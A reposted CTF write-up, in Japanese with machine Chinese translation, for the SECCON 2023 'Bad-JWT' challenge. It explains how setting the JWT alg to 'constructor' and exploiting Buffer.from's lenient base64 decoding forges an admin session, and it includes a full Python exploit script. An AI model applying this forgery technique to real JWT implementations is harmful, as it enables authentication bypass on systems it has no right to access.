SECCON CTF 2023 Quals – Bad-JWT

WriteUp 1年前 (2023) admin
297 0 0

Challenge 挑战

I think this JWT implementation is not bad.
我认为这个 JWT 实现还不错。

http://bad-jwt.seccon.games:3000

Files 文件

配布されたソースコード 分布式源代码

可読性向上のため、一部書き換えています。また、問題を解くにあたって不要な部分は省略しています。
它已被部分重写以提高可读性。 此外,在解决问题时省略了不必要的部分。

challenge/src/index.js

const FLAG = "SECCON{dummy}";
const PORT = "3000";

const express = require("express");
const cookieParser = require("cookie-parser");
const jwt = require("./jwt");

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const secret = require("crypto").randomBytes(32).toString("hex");

app.use((req, res, next) => {
  try {
    const token = req.cookies.session;
    const payload = jwt.verify(token, secret);
    req.session = payload;
  } catch (e) {
    return res.status(400).send("Authentication failed" + e);
  }
  return next();
});

app.get("/", (req, res) => {
  if (req.session.isAdmin === true) {
    return res.send(FLAG);
  } else {
    return res.status().send("You are not admin!");
  }
});

app.listen(PORT, () => {
  const admin_session = jwt.sign("HS512", { isAdmin: true }, secret);
  console.log(`[INFO] Use ${admin_session} as session cookie`);
  console.log(`Challenge server listening on port ${PORT}`);
});

challenge/src/jwt.js

const crypto = require("crypto");

const base64UrlEncode = (str) => {
  return Buffer.from(str)
    .toString("base64")
    .replace(/=*$/g, "")
    .replace(/\+/g, "-")
    .replace(/\//g, "_");
};

const base64UrlDecode = (str) => {
  return Buffer.from(str, "base64").toString();
};

const algorithms = {
  hs256: (data, secret) =>
    base64UrlEncode(crypto.createHmac("sha256", secret).update(data).digest()),
  hs512: (data, secret) =>
    base64UrlEncode(crypto.createHmac("sha512", secret).update(data).digest()),
};

const stringifyPart = (obj) => {
  return base64UrlEncode(JSON.stringify(obj));
};

const parsePart = (str) => {
  return JSON.parse(base64UrlDecode(str));
};

const createSignature = (header, payload, secret) => {
  const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
  const signature = algorithms[header.alg.toLowerCase()](data, secret);
  return signature;
};

const parseToken = (token) => {
  const parts = token.split(".");
  if (parts.length !== 3) throw Error("Invalid JWT format");

  const [header, payload, signature] = parts;
  const parsedHeader = parsePart(header);
  const parsedPayload = parsePart(payload);

  return { header: parsedHeader, payload: parsedPayload, signature };
};

const sign = (alg, payload, secret) => {
  const header = {
    typ: "JWT",
    alg: alg,
  };

  const signature = createSignature(header, payload, secret);

  const token = `${stringifyPart(header)}.${stringifyPart(
    payload
  )}.${signature}`;
  return token;
};

const verify = (token, secret) => {
  const { header, payload, signature: expected_signature } = parseToken(token);

  const calculated_signature = createSignature(header, payload, secret);

  const calculated_buf = Buffer.from(calculated_signature, "base64");
  const expected_buf = Buffer.from(expected_signature, "base64");

  if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
    throw Error("Invalid signature");
  }

  return payload;
};

module.exports = { sign, verify };

Solution 溶液

1. 正常なアクセスを送信する 1. 发送成功访问

ソースコードを見ると、cookieのsessionにJWTトークンを設定すると、署名を検証することがわかります。
如果您查看源代码,您会发现在 cookie 中设置 JWT 令牌 session 会验证签名。

const token = req.cookies.session;

JWTのシグネチャを計算するのは面倒なので、問題のソースコードを少し書き換えます。
计算 JWT 的签名很乏味,所以我会稍微重写一下有问题的源代码。

const verify = (token, secret) => {
  const { header, payload, signature: expected_signature } = parseToken(token);

  const calculated_signature = createSignature(header, payload, secret);
+ console.log({calculated_signature, expected_signature})

  const calculated_buf = Buffer.from(calculated_signature, "base64");
  const expected_buf = Buffer.from(expected_signature, "base64");

  if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
    throw Error("Invalid signature");
  }

  return payload;
};

これで適当なJWTトークンを送信すると、シグネチャの計算結果が表示されます。2回送信すれば正しいシグネチャがわかるので署名が受理されるはずです。
现在您已发送相应的 JWT 令牌,将显示签名计算的结果。 如果您发送两次,您将知道正确的签名,并且应该接受您的签名。

import base64
import requests
import json


header = {"typ": "JWT", "alg": "HS256"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")

def base64_encode(str:str):
    return base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")

headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]

jwt = f"{headerBase64}.{bodyBase64}.ここにシグネチャを入れる"


res = requests.get("http://localhost:3000/", cookies={"session": jwt})

print(res.text)

2. 不正なシグネチャを作成する 2. 创建错误的签名

攻撃者が入力できる内容はJWTトークンのみです。つまり、JWTのheader(algtyp)、body、signature(壊れているもの)のみです。 ここで、bodyは{"isAdmin": True}にするしかなさそうで、かつheaderのtypは使用されていなさそうなので、考えられることは以下の2つです。
攻击者只能输入 JWT 令牌。 也就是说,JWT 中只有标头(、 alg )、正文 typ 和签名(损坏的)。 在这里,似乎只能 {"isAdmin": True} 制作身体,而标题似乎 typ 没有使用,所以有两种可能的事情。

  • headerのalgを変更する  alg 更改页眉
  • 壊れたsignatureでも署名を通す 坏了 signature 但传递签名

結論から言うと、両方とも必要なので、前者から説明します。
总之,我们两者都需要,因此我们将从前者进行解释。

algを使用されている箇所を見ると、createSignature関数があります。これをよく見ると、なかなか怪しそうです。algorithms変数にはオブジェクトが入っていますが、ユーザの入力の文字列をそのまま受け取っています。JavaScriptのオブジェクトに対する[]アクセサには、例えば__proto__など、いくつかの特殊なキーがあります。今回は式の後半に(data, secret)が入っており、アクセスした結果、引数が2つ(またはoptionalな引数がそれ以上)の関数が返ってくる必要があります。
alg 如果你看看它的使用位置, createSignature 有一个功能。 如果你仔细观察这个,它看起来很可疑。 algorithms 该变量包含一个对象,但逐字获取用户输入的字符串。 例如, __proto__ JavaScript 对象的访问器有一些 [] 特殊的键。 这一次,表达式的后半部分包含 ,并且作为访问 (data, secret) 的结果,应该返回一个具有两个参数(或多个可选参数)的函数。

const createSignature = (header, payload, secret) => {
  const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
  const signature = algorithms[header.alg.toLowerCase()](data, secret);
  return signature;
};

そこで、constructorを使用します。constructorは関数で、引数は可変です。また、Object[constructor](data, secret)はdataを文字列として受け取り、[String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']だけが返ります。つまり、secretに依存しません。
因此, constructor 请使用 . constructor 是一个函数,其参数是可变的。 此外, Object[constructor](data, secret) 将数据作为字符串,并且 [String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ'] 仅返回。 也就是说,它不依赖于秘密。

先ほどのコードを少し書き換えて、送信してみます。
让我们稍微重写一下前面的代码并发送它。

import base64
import requests
import json


header = {"typ": "JWT", "alg": "constructor"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")


def base64_encode(str: str):
    return (
        base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")
    )


headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]

jwt = f"{headerBase64}.{bodyBase64}.foo"

res = requests.get("http://localhost:3000/", cookies={"session": jwt})

print(res.text)

すると、以下の内容が返ってきます。 您将收到以下信息:

{
  expected_signature: 'foo',
  calculated_signature: [String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
}

ここで、jwtのシグネチャを書かれているものと同じにします。
现在使 JWT 的签名与写入的签名相同。

jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ"

すると当然ですが、.が4つではInvalid JWT formatです。また、expected_signatureはstring、calculated_signatureはオブジェクトになります。当然これでは一致しません。
然后,当然,有 . 四个,这是无效的 JWT 格式。 expected_signature 是一个字符串, calculated_signature 是一个对象。 自然,这不匹配。

3. Bypass Buffer.compare 3. 旁路 Buffer.compare

Buffer.fromドキュメントを読んでみましょう。
Buffer.from 让我们阅读文档。

以下のテキストが書かれています。 现写如下文字:

For objects that support Symbol.toPrimitive, returns Buffer.from(objectSymbol.toPrimitive, offsetOrEncoding).
对于支持 Symbol.toPrimitive 的对象,返回 Buffer.from(object Symbol.toPrimitive, offsetOrEncoding)。

試してみましょう! 试一试!

class Foo {
  [Symbol.toPrimitive]() {
    return "ABC";
  }
}

const buf1 = Buffer.from(new Foo());

console.log({ buf1 }); // { buf1: <Buffer 41 42 43> }

確かにテキストの部分のみが取り出されています。ここで、Buffer.fromの第二引数にbase64を指定しつつ、Base64として使用されない文字列を挿入してみます。
当然,只有文本的一部分被取出。 现在,尝试插入一个不用作 Base64 的字符串,同时 base64 指定为 Buffer.from .

class Foo {
  [Symbol.toPrimitive]() {
    return "eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9";
  }
}
class Bar {
  [Symbol.toPrimitive]() {
    // add $^.
    return "eyJ0eXAi$O$iJK^V1&Qi.LCJh.&bGc.i^Oi.Jjb.25z^dHJ1Y3RvciJ9"; // ^^
  }
}

const buf1 = Buffer.from(new Foo(), "base64");
const buf2 = Buffer.from(new Bar(), "base64");

console.log({ buf1, buf2 });
//{
//  buf1: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d>,
//  buf2: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d>
//}

Base64として使用されない文字は無視されることがわかりました。これを利用します。
事实证明,未用作 Base64 的字符将被忽略。 利用这一点。

jwt tokenを以下のように書き換えます。 重写 jwt 令牌,如下所示:

jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ"

すると、signatureは確かに違いますが、Buffer.fromでピリオドが削除され、Buffer.compareの結果が0になります。
然后,尽管肯定不同,但 Buffer.from 中的 signature Buffer.compare 句点被删除,结果为 0。

{
  expected_signature: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ',
  calculated_signature: [String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ'],
  calculated_buf: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>,
  expected_buf: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>
}

4. Get flag 4. 获取标志

Final Payload 最终有效载荷
import base64
import requests
import json


header = {"typ": "JWT", "alg": "constructor"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")


def base64_encode(str: str):
    return (
        base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")
    )


headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]

jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ"

res = requests.get("http://bad-jwt.seccon.games:3000", cookies={"session": jwt})

print(res.text)
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

原文始发于Github:SECCON CTF 2023 Quals – Bad-JWT

版权声明:admin 发表于 2023年9月18日 上午8:44。
转载请注明:SECCON CTF 2023 Quals – Bad-JWT | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...